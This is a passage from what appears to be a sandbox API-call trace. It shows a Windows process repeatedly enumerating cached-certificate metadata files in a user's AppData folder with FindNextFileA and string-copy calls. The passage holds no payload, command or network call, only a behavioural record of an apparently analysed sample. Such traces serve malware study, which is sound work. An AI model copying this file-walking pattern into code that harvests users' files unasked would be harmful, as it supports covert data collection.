cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0087.081] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.081] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" [0087.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.082] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.082] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0087.082] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.082] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" [0087.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.082] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.082] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0087.082] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.083] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" [0087.083] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.083] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.083] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0087.083] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.083] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" [0087.083] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.083] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.083] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0087.083] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.083] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015" [0087.083] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.083] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.084] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0087.084] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.084] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" [0087.084] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.084] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.084] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0087.084] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.085] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" [0087.085] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.085] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.085] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0087.085] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.085] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" [0087.085] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.085] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.085] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0087.085] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.085] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" [0087.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.086] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.086] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0087.086] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.086] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" [0087.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.086] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.086] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0087.086] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.086] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" [0087.087] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.087] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.087] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0087.087] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.087] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" [0087.087] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.087] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.087] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0087.087] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.087] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" [0087.087] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.088] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.088] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0087.088] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.088] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" [0087.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.088] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.088] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0087.088] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.088] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 